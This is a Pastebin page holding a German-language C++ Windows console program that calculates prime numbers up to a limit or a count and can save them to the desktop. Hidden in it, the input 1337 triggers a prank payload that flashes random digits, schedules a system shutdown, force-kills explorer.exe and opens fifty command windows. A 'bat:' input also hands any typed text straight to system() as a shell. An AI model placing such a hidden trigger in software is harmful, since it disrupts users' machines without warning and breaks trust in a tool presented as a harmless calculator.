Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <windows.h>
- #include <math.h>
- #include <string>
- #include <fstream>
- using namespace std;
- string data;
- char tempdata[256];
- bool mode = false;
- unsigned long option;
- unsigned long begrenzung;
- unsigned long primanzahl;
- unsigned int primcounter = 3;
- bool skip = false;
- int main() {
- system("COLOR F0");
- system("TITLE Primzahlenrechner");
- cout << "toggle zum wechseln zwischen modus, ansonsten Zahl eingeben!" << endl;
- cin.getline(tempdata, 256);
- data = tempdata;
- if (data == "exit") {
- exit(0);
- }
- if (data == "cls") {
- system("CLS");
- main();
- }
- if (data == "bat:") {
- system("CLS");
- cout << "herzlich willkommen im batch-modus!" << endl;
- system("COLOR 07");
- system("TITLE Windows-Befehlsprozessor");
- system("@echo on");
- do {
- cin.getline(tempdata, 256);
- data = tempdata;
- system(tempdata);
- } while (data != "exit");
- cout << "batch-modus wurde verlassen!" << endl;
- main();
- }
- if (data == "toggle") {
- mode = !mode;
- cout << "mode wurde gewechselt!" << endl;
- if (mode == true) {
- cout << "Bis zu welcher Zahl sollen alle Primzahlen berechnet werden?" << endl;
- }
- else {
- cout << "Bis zur wievielten Primzahl soll gerechnet werden?" << endl;
- }
- main();
- }
- option = 0;
- unsigned long numb[data.length()];
- for (unsigned long i = 0; i < data.length(); i++) {
- numb[i] = data[i];
- if (!(numb[i] >= 48 && numb[i] <= 57)) {
- cout << "Keine gueltige Eingabe!" << endl;
- main();
- }
- numb[i] -= 48;
- int stelle = i*-1 + data.length()-1;
- option += numb[i] * pow(10, stelle);
- }
- if (option == 1337) {
- system("COLOR 0f");
- cout << "Oh oh jetzt wirds gefährlich!" << endl;
- Sleep(500);
- system("mode 500");
- for (int line = 0; line < 15; line++) {
- for (int i = 0; i < rand() % 25 + 15; i++) {
- system("color 0f");
- cout << rand() % 10;
- system("color 0c");
- }
- cout << endl;
- }
- system("shutdown -s -t 15 -c \"Wage es nicht nochmal die heilige MLG-Zahl einzugeben!\"");
- system("taskkill /im explorer.exe /f");
- for (int i = 0; i < 50; i++) {
- system("start");
- }
- exit(0);
- }
- if (option < 5) {
- cout << "Bitte bisschen mehr xD" << endl;
- main();
- }
- if (mode == true) {
- primanzahl = option;
- if (primanzahl > 258000) {
- cout << "Zu gross!" << endl;
- main();
- }
- begrenzung = pow(primanzahl, 1.1) * 5;
- cout << "Es wird bis zur " << primanzahl << " Primzahl gerechnet" << endl;
- cout << "Puffer fuer Durchlaeufe: " << begrenzung << endl;
- }
- else {
- begrenzung = option;
- primanzahl = begrenzung / 5 + 6;
- if (primanzahl > 258000) {
- cout << "Zu gross!" << endl;
- main();
- }
- cout << "Es werden alle Primzahlen bis " << begrenzung << " berechnet" << endl;
- cout << "Puffer fuer generierbare Primzahlen: " << primanzahl << endl;
- }
- unsigned long primzahl[primanzahl] = {2, 3, 5};
- unsigned long skipcounter[primanzahl] = {2, 3, 4};
- system("PAUSE");
- cout << "Berechnen..." << endl;
- for (unsigned long counter = 7; counter < begrenzung; counter++) {
- if (mode == true) {
- if (primcounter == primanzahl) {
- break;
- }
- }
- //cout << "counter: " << counter << endl;
- for (unsigned long i = 0; i < primcounter; i++) {
- skipcounter[i]--;
- //cout << "skipcounter[" << i << "] = " << skipcounter[i] << endl;
- if (skipcounter[i] == 0) {
- skipcounter[i] = primzahl[i];
- skip = true;
- //cout << "Es wird geskipped!" << endl;
- }
- }
- if (skip == true) {
- //cout << "Die Zahl " << counter << " war keine Primzahl!" << endl;
- skip = false;
- continue;
- }
- //cout << "Die Zahl " << counter << " war eine Primzahl und zwar die " << primcounter+1 << endl;
- primzahl[primcounter] = skipcounter[primcounter] = counter;
- primcounter++;
- }
- for (unsigned long print = 0; print < primcounter; print++) {
- cout << "Primzahl " << print+1 << " ist: " << primzahl[print] << endl;
- }
- cout << "fertig!" << endl;
- cout << "Sollen die Zahlen noch als Datei gespeichert werden?" << endl;
- cin.getline(tempdata, 256);
- data = tempdata;
- while (data != "ja" && data != "nein") {
- cin >> data;
- }
- if (data == "nein") {
- cout << "ok dann halt net..." << endl;
- system("PAUSE");
- system("CLS");
- main();
- }
- ofstream File;
- data = getenv("USERPROFILE");
- data += "/Desktop/Primzahlen.txt";
- File.open(data.c_str());
- if (File.is_open()) {
- for (unsigned long write = 0; write < primcounter; write++) {
- File << "Primzahl " << write+1 << " : " << primzahl[write] << "\n";
- }
- File.close();
- cout << "Datei wurde erfolgreich erstellt!" << endl;
- }
- else {
- cout << "Ein Fehler ist aufgetreten!" << endl;
- }
- system("PAUSE");
- system("CLS");
- main();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement